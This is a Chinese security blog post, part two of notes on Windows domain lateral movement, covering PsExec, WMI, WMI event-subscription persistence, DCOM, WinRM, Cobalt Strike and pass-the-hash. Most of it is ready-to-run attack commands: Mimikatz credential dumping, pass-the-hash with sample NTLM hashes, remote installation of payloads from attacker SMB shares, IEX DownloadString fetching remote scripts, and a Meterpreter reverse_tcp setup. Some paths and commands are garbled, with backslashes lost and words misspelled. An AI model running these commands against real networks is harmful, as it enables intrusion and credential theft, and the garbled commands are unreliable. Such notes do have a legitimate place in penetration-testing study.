内网笔记·域内横向移动总结(下)

admin 2023年6月17日15:32:20评论77 views字数 15150阅读50分30秒阅读模式

接着昨天的~

5.PsExec远程控制

原理:

PsExec原理是通过 SMB 连接到服务端的 Admin$共享,并放名为“psexesve.exe为二进制文件,然后注册名为“PSEXESVC”服务。当客户端执行命令时,服务端通过PSEXESVC 服务启动相应的程序执行命令并回显数据。运行结束后,PSEXESVC服务会被删除。

条件:

1. 远程主机开启了Admin$共享

2.远程主机未开启防火墙或放行 445 端口。

利用:

已知凭据利用:

PsExec.exe -accepteula \10.10.10.19 -u HACK-MYAdministrator -p Admin@123 -s cmd.exe

-accepteula禁止弹出许可证对话框; -u,指定远程主机的用户名; -p,指定用户的密码#-s,以SYSTEM权限启动进程,如果未指定该参数,就将以管理员权限启动进程

已有凭据利用

PsExec.exe -accepteula \10.10.10.19 cmd.exe

Hash传递利用

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fd c5e9cba88547376818d4 ./[email protected]

工具出处:

1.微软官方

https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec

2.Impacket项目

psexec.py项目

impacket 下的psexec

python3 psexec.py moonsec/[email protected]

执行命令后输入密码登陆其他主机管理员

psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fd c5e9cba88547376818d4 ./[email protected]

3.msf模块

exploit/windows/smb/psexec

use exploit/windows/smb/psexec set SMBUser Administrator

set rhosts 192.168.0.141

set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba885473 76818d4

6.WMI的利用

条件:

1.远程主机的WMI服务为开启状态(默认开启)

2.防火墙放行WMI默认端口:135(RPC)端口

1.常规利用

特点:

  1. 不会产生日志记录

  2. 没有回显,若要查看命令结果需要配合IPC$与type命令

1.执行远程查询

wmic /node:10.10.10.19 /user:Administrator /password:Admin@123 process list brief

#/node指定远程主机的地址,/user 指定远程主机的用户名;/password 指定用户的密码

2.创建远程进程

wmic /node:10.10.10.19 /user:Administrator /password:Admin@123 porcess call create "cmd.exe /c ipcoinfig >C:result.txt"

#通过调用Win32_Process.Create方法在远程主机上创建CMD进程并执行命令


3.远程安装MSI文件

通过调用Win32_Product.Install方法,可以调用远程主机安装恶意MSI文件

wmic /node:10.10.10.19 /user:Administrator /password:Admin@123 product call install PackageLocation="\192.168.2.143evilsmbreverse_tcp.msi"

控制远程主机 (10.10.10.19),通过 UNC 路径进行远程加载测试人员服务器的 MSI文件并进行安装


4.修改注册表,开启RDP

使用wmic 远程开启目标的RDP

# 适于Windows xpserver 2003

wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_ terminalservicesetting WHERE ( Class!="") CALL SetAllowTSConnections 1

# 适于Windows 7810server 200820122016,注意ServerName 需要改为目标的hostname

wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1

或者

wmic /node:192.168.0.123 /user:administrator /password:123456 process c all create 'cmd.exe /c REG ADD "HKLMSYSTEMCurrentControlSetControlT erminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

内网笔记·域内横向移动总结(下)


判断RDP 有没有开可以使用以下命令,如果返回0 表示开启,返回1 表示关闭。

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections

远程重启机子

wmic /node:192.168.0.141 /user:administrator /password:123456 process c all create "shutdown.exe -r -f -t 0"

2.利用工具

1.Wmiexec

Impacket 项目的 wmiexec.py 能够以全交互或半交互的方式,通过 WMI 在远程主机上我行命令。注意,该工具需要远程主机开启 135和 445端口,其中445端口用于传输命令执行的回显。

我行以下命令,获取远程主机的交互式命令行

python wmiexec.py HACK-MY/Administrator:Admin@[email protected]
# python wmiexec.py <Domian>/<Username> :<Password>@<Ip>

如果是在 Windows 平台上使用,可以通过 PyInstaller,将 wmiexec.py 打包成独立的EXE可执行文件,,生成的 wmiexec.exe 可直接上传到 Windows 主机中运行,使用方法与原来的 wmiexec.py 相同


2.Invoke-WmiCommand

Invoke-WmiCommandps1 是 PowerSploit 项目中的一个脚本,可以通过 PowerShell调用WMI来远程执行命今.

特点:

  1. 通过PowerShell脚本来调用WMI命令

  2. 有回显


# 远程加载 Invoke-WmiCommand.ps1 脚本

IEX(New-Object Net.Webclient).DownloadString('http://IP:Port/Invoke-WmiCommand.ps1')

#指定远程系统用户名

$User = "HACK-MYAdministrator"

#指定用户的密码

$Password = ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force

# 将用户名和密码整合,以便导入 credential

$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password

# 指定远程主机的 IP 和要执行的命令

$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName "10.10.10.19"

# 输出命令执行回显

$Remote.PayloadOutput


3.Invoke-WMIMethod

PowerShell 内置的 Invoke-WMIMethod 也可以在远程系统中执行命令或程序是没有执行回显

特点:

  1. PowerShell自带

  2. 无回显

$User = "aa8jadministrator";$Password = ConvertTo-SecureString -String "1234567.com" -AsPlainText -Force;$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password;Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "10.1.1.2" -Credential $Cred

# $User为 域名用户名

# -String为 "密码"

# -ArgumentList为 "要执行的程序"

# -ComputerName为 目标IP

执行后会返回一个进程ID  


4. wmiexec.vbs

地址:https://github.com/AA8j/SecTools/tree/main/wmiexec.vbs

特点:

  1. 通过调用WMI来模拟PsExec功能

  2. 在执行诸如ping、systeminfo等命令需要添加“-waite 5000”参数

  3. 有回显

获得交互式shell: 

cscript.exe //nologo wmiexec.vbs /shell 10.1.1.2 administrator 1234567.com

使用vmiexec.vbs 执行单条命令

cscript wmiexec.vbs /cmd 192.168.0.123 administrator 123456 "ipconfig"

3.WMI事件订阅

1.手动利用

1.整合 PSCredential,用于后续过程的认证。

$Username ="HACK-MY Administrator"

$Password="Admin@123!

$SecurePassword =$Password | ConvertTo-SecureString -AsPlainText -Force

$Credential = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $Username, $SecurePassword

2 .设置攻击目标和其他公共参数。

$GlobalArgs = @{}

$ComputerName = "10.10.10.19"

$GlobalArgs['Credential'] = $Credential

$GlobalArgs['ComputerName'] = $ComputerName

3.创建wmi事件订阅

当进程查看器轮询到scvhost时使用cmd窗口执行calc命令

$EventFilterArgs = @{
EventNamespace='root/cimv2'
Name="TestFilter"
Query="SELECT * FROM Win32_ProcessStartTrace where processname= 'scvhost.exe'"
QueryLanguage='WQL'
}
$EventFilter = Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Arguments $EventFilterArgs

$CommandLineEventConsumerArgs = @{
Name= "TestConsumer"
CommandLineTemplate= "C:WindowsSystem32cmd.exe /c calc.exe"
}
$EventConsumer=Set-WmiInstance -Namespace rootsubscription -Class CommandLineEventConsumer -Arguments $CommandLineEventConsumerArgs


$FilterToConsumerArgs=@{
Filter=$EventFilter
Consumer=$EventConsumer
}
$FilterToConsumerBinding=Set-WmiInstance -Namespace rootsubscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs

当进程查看器轮询到scvhost时使用cmd窗口执行calc命令

2.Sharp-WMIEvent

https://github.com/wh0amitz/Sharp-WMIEvent

 

Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 10.10.10.19 -Domainhack-my.com -Username Administrator -Password Admin@l23 -Command "cmd.exe / c \10.10.10.147evilsmbreverse_tcp.exe"

这将在远程主机上部署一个随机命名的永久事件订阅,并每隔 60 秒执行一次SMB 共享中的攻击载荷,使远程主机上线


7.DCOM的利用

条件:

1.拥有管理员权限的powershell

2.远程主机未开启防火墙

1. 获取本地DCOM程序列表

在powershell中执行如下命令获取DCOM程序列表:

Get-CimInstance Win32_DCOMApplication


Windows 7、Windows Server 2008中默认安装的是powershell 2.0,所以他们都不支持Get-CimInstance,可以用以下命令代替Get-CimInstance:

Get-WmiObject -Namespace ROOTCIMV2 -Class Win32_DCOMApplication

2.使用DCOM对远程主机执行命令

(1)调用MMC20.Application远程执行命令

在管理员权限的Powershell中运行

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","local_ip")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \evilsmb_ipevilsmbevil.exe","Minimized")

(2)调用ShellWindows远程执行命令

[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"local_ip")).item().Document.Application.ShellExecute("cmd.exe","/c C:shell.exe","c:windowssystem32",$null,0)

以上这两种方法均适用于Windows 7~Windows 10、Windows Server 2008~Windows Server 2016的系统

(4)调用ShellBrowserWindow远程执行命令

使用条件:适用于Windows 10和Windows Server 2012 R2等版本的系统。

[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","local_ip")).Document.Application.shellExecute("C:shell.exe")

(5)调用Visio.Application远程执行命令

使用条件:目标主机中安装有Visio。

[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","local_ip")).[0].Document.Application.shellExecute("C:shell.exe")

(6)调用Outlook.Application远程执行命令

使用条件:目标主机中安装有Outlook。

[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","local_ip")).createObject("Shell.Application").shellExecute("C:shell.exe")


3.Impacket里的dcomexec.py脚本

Impacket 里面提供的 dcomexec.py 脚本可以提供一个类似于 wmiexec.py 脚本的半交互式shell,但使用的是DCOM,目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象

./dcomexec.py domain/username:password@ip

./dcomexec.py domain/username:password@ip <command>

./dcomexec.py domain/username:@ip <command>  -hashes<hash>


8.WinRM的利用

利用条件

端口:5985 5986

通信的双方都需要开启WinRM服务

WinRM 适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。

只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。

在进行横向移动时,需要拥有远程主机管理员的凭据信息

1.通过WinRM执行远程命令

在第一次执行命令的时候,可能会报下列错误。
内网笔记·域内横向移动总结(下)
这时我们执行下列两条命令,将当前主机的trustedhosts设置为*,表示信任任意主机,之后重启winRM。

Set-Item WSMan:localhostclienttrustedhosts -value *

Restart-Service WinRM

1.Windows内置工具winrs的使用

命令执行

winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "ipconfig"


获得一个cmd shell

winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "cmd"


2.通过winrm.cmd来进行命令执行

winrm invoke Create wmicimv2/Win32_Process @{CommandLine="calc.exe"}

调用该命令在本地启动一个calc.exe进程

winrm invoke create wmicimv2/win32_process -SkipCNcheck -skipCNcheck @{commandline="notepad.exe"} -r:http://10.10.10.19:5985 -u:Administrator -p:Admin@123

通过 -r 来指定远端的机器

2.通过WinRM获取交互式对话

1.PowerShell下的利用

Enter-PSSession 的 PowerShell Cmdlet 可以启动与远程主机的会话。在会话交互期间用户输入的命令在远程计算机上运行,就像直接在远程计算机上输入一样


1. 在跳板机上执行以下命令

#指定远程系统用户名

$User = "HACK-MYAdministrator

# 指定用户的密码

$Password = ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force

# 将用户名和密码整合,以便导入 Credential

$Cred = New-0bject -TypeName System. Management. Automation,PSCredential -ArgumentList $User , $Password

#根据提供的凭据创建会话

New-PSSession -Name WinRM1 -ComputerName 10.10.10.19 -Credential $Cred -Port 5985

# -Name,指定创建的会话名称 ;-ComputerName,指定要连接的主机 IP 或主机名

-Credential,指定有权连接到远程主机的用户凭据,-Port,指定 WinRM 的工作端口


将启动一个与远程主机 (10.10.10.19)的交互式会话,其名称为 WinRM1


2.执行“Get-PSSession”命令,查看当前已创建的 PSSession 会话

3.选中一个对话执行“Enter-PSSession -Name WinRM1”进入对话交互模式


也可以通过invoke-command在指定的对话中执行以下命令

#指定远程系统用户名

$User = "HACK-MYAdministratoru

#指定用户的密码

$Password = ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force

# 将用户名和密码整合,以便导入 Credential

$Cred = New-Object -TypeName System.Management.Automation.PsCredential -ArgumentList $User ,$Password

#根据提供的凭据创建会话

$Sess = New-PSSession -Name WinRM1 -ComputerName 10.10,10.19 -Credential $Cred -Port 5985

#在创建的会话中执行命令

Invoke-Command -Session $Sess -ScriptBlock {command}



2.Evil-Winrm

https://github.com/Hackplayers/evil-winrm

https://www.hackingarticles.in/a-detailed-guide-on-evil-winrm/


3.WSMan-WinRM

https://github.com/bohops/WSMan-WinRM

https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/


4.cobalt strike

在cobalt strike平台上有集成到winrm来进行横向移动,这里分有86位和64位的winrm

内网笔记·域内横向移动总结(下)

接着选择对应的位数,并且把相对于的信息填入进去。后面需要选择Listener和Session。

内网笔记·域内横向移动总结(下)

接着就上线成功了,也可以通过命令行界面来进行winrm的横向移动操作

jump winrm64  TARGET  Listen

jump winrm64 dc.one.com http

内网笔记·域内横向移动总结(下)

翻了翻cobaltstrike的源码,找到了winrm的执行方式,他这里是通过powershell来执行命令的,通过 Invoke-Command 指定-ScriptBlock来执行命令。

内网笔记·域内横向移动总结(下)



9.哈希传递(PTH)攻击

1.使用 Mimikatz 进行哈希传递

限制:

使用 mimikatz 进行哈希传递要具有本地管理员权限  

攻击过程:

抓取用户哈希:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

哈希传递:

mimikatz.exe  "privilege::debug" "sekurlsa::pth /domain:whoamianony /user:administrator /ntlm:ab89b1295e69d353dd7614c7a3a80cec /run:cmd.exe"


mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:whoamianony /user:administrator /ntlm:ab89b1295e69d353dd7614c7a3a80cec" exit



2.使用 Crackmapexec 进行哈希传递

该工具位于kali上面,其可以对C段主机批量进行PTH攻击。

下载地址:https://github.com/byt3bl33d3r/CrackMapExec.git

在kali上直接用apt-get就可以安装:

apt-get install crackmapexec

对内网主机进行PTH的命令如下:

crackmapexec smb 192.168.93.30 -u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x whoami crackmapexec smb 192.168.93.30  -u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x ipconfig

  • IP:可以是单个IP也可以是IP段

  • -u:指定用户名

  • -H:指定NTLM Hash

  • -d:指定域

  • -x:执行系统命令

如下图所示,成功在 DC 主机上执行命令:


内网笔记·域内横向移动总结(下)

内网笔记·域内横向移动总结(下)

3.利用 impacket工具包 进行哈希传递

  • 项目地址:https://github.com/SecureAuthCorp/impacket

lmpacket 项目中具有远程执行功能的几个脚本几乎都可以进行哈希传递攻击,常见*有psexec.py、smbexec.py和 wmixe.py,同时可以走 socks4/5 代理,十分强大。

首先在攻击机上安装 Impacket 工具包:

git clone https://github.com/CoreSecurity/impacket.git cd impacket/ pip install .

wmiexec.py

进入 examples 目录即可找到我们的 wmiexec.py,然后执行以下命令即可:

python wmiexec.py -hashes 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec whoamianony/[email protected] "whoami"

# (proxychains4) python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@IP "命令"


smbexec.py

python smbexec.py -hashes :570a9a65db8fba761c1008a51d4c95ab hack-my.com/[email protected]

# python smbexec.py -hashes LM Hash:NLTM Hash domain/username@ip:

-hashes,指定用户完整的哈希值,如果 LM Hash 被废弃,就将其指定为@或为空


psexec.py

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fd c5e9cba88547376818d4 ./[email protected]


Atexec.py


利用139和445端口,它会创建计划任务-执行计划任务-删除计划任务

Atexec -hashes :c6de864a0d3ba9437e6a1e0789d4a844 ./[email protected] "whoami"  


4.使用 Metasploit 进行哈希传递

经常使用的三个模块:

auxiliary/admin/smb/psexec_command      // 在目标机器上执行系统命令          exploit/windows/smb/psexec            // 用psexec执行系统命令          exploit/windows/smb/psexec_psh         // 使用powershell作为payload

这三个模块的使用方法相同,这里以exploit/windows/smb/psexec模块哈希传递攻击域控制器 DC 为例:

内网笔记·域内横向移动总结(下)

需要设置以下选项:

use exploit/windows/smb/psexec

set rhosts 192.168.93.30

set smbuser administrator

set smbpass

00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec  # 完整的Administrator用户的Hash

set smbdomain whoamianony

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.93.129

set lport 4444

exploit

注意这里的 smbpass 选项,其可以为明文密码,也可以为密码哈希,但是哈希值必须是完整的,如果不知道前面的LM Hash部分,可以像上面那样用0代替。

如下图所示,攻击成功,域控成功上线,并且是 SYSTEM 权限:

内网笔记·域内横向移动总结(下)

5.利用 PowerShell 进行哈希传递

  • 项目地址:https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-TheHash 项目是一个基于.Net TCPClient,通过把 NTLM 哈希传递给 NTLMv2 身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。Invoke-TheHash 项目中内含如下多个脚本:

Invoke-WMIExec.ps1  

Invoke-SMBExec.ps1    

Invoke-SMBEnum.ps1    

Invoke-SMBClient.ps1    

Invoke-TheHash.ps1

其可以执行 WMI 和 SMB 命令,并对内网主机批量进行哈希传递攻击。


使用 Invoke-SMBExec 脚本

该脚本通过 SMB 在目标主机创建服务来执行命令,该脚本执行命令没有回显,我们可以用它执行一些木马程序。如下所示,我们通过 Invoke-SMBExec 脚本进行哈希传递,在域控制器上执行之前上传的 shell.exe:

Import-Module .Invoke-SMBExec.ps1 Invoke-SMBExec -Target 192.168.93.30 -Domain whoamianony -Username administrator -Hash 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec -Command "c:shell.exe" -verbose

内网笔记·域内横向移动总结(下)


使用 Invoke-TheHash 脚本

Invoke-TheHash 脚本可以用来通过哈希传递在远程主机上执行 WMI 和 SMB 命令。

Import-Module .Invoke-WMIExec.ps1  

# 首先需要加载先加载Invoke-WMIExec.ps1脚本

Import-Module .Invoke-TheHash.ps1    

# 然后再加载Invoke-TheHash.ps1脚本

Invoke-TheHash -Type WMIExec -Target 192.168.93.1/24 -Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Command "c:shell.exe" -verbose

  • -Target:目标主机名或IP地址/段。

  • -Username:用于身份验证的用户名。

  • -Domain:用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。

  • -Hash:用于身份验证的NTLM密码哈希(格式:LM:NTLM 或 NTLM)。

  • **-Command:在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。

注意使用的时候需要先加载 Invoke-WMIExec.ps1 脚本,然后再加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec 方法。

使用 Invoke-SMBClient 脚本

该脚本支持SMB1,SMB2,SMB signing,如果只有 SMB 文件共享的权限而没有远程执行权限的话,可以使用这个脚本列举远程主机上的共享目录、上传或下载文件、删除文件。

使用以下命令可以成功列举出域控制器上的共享文件:

Import-Module .Invoke-SMBClient.ps1 Invoke-SMBClient -Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Source \DC.whoamianony.orgc$ -verbose # Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \servershare -verbose    查看远程主机共享目录

内网笔记·域内横向移动总结(下)


还有以下几种操作:

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \serversharefile.txt    

# 删除远程主机上指定的共享文件  

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \serversharefile.txt    

# 在远程主机上下载指定的共享文件  

Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source file.exe -Destination \serversharesubdirectoryfile.exe  

# 向远程主机的共享目录中上传指定的文件


6.利用哈希传递登录 RDP 远程桌面

借助 Restricted Admin Mode 进行哈希传递登录 RDP

适用系统:

   · Windows Server 2012R2及以上版本的 Windows系统

  • Windows 8.1和Windows Server 2012 R2默认支持该功能

  • Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁kb2871997、kb2973351

条件:


渗透过程中可以通过修改注册表的方式开启目标主机的 Restricted Admin Mode,值为 0 代表开启,值为 1 代表关闭:

REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f


REG query "HKLMSystemCurrentControlSetControlLsa" | findstr "DisableRestrictedAdmin"    # 查看是否成功开启




mimikatz

攻击机上使用 Mimikatz 进行哈希传递,大致原理就是哈希传递成功后执行 mstsc.exe /restrictedadmin 来打开远程桌面:

privilege::debug sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"


xfreerdp  

kali自带

xfreerdp /v:192.168.100.164 /u:administrator /pth:c6de864a0d3ba9437e6a1e0789d4a844   /cert:ignore

原文始发于微信公众号(凯撒安全实验室):内网笔记·域内横向移动总结(下)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月17日15:32:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网笔记·域内横向移动总结(下)http://cn-sec.com/archives/1815258.html

发表评论

匿名网友 填写信息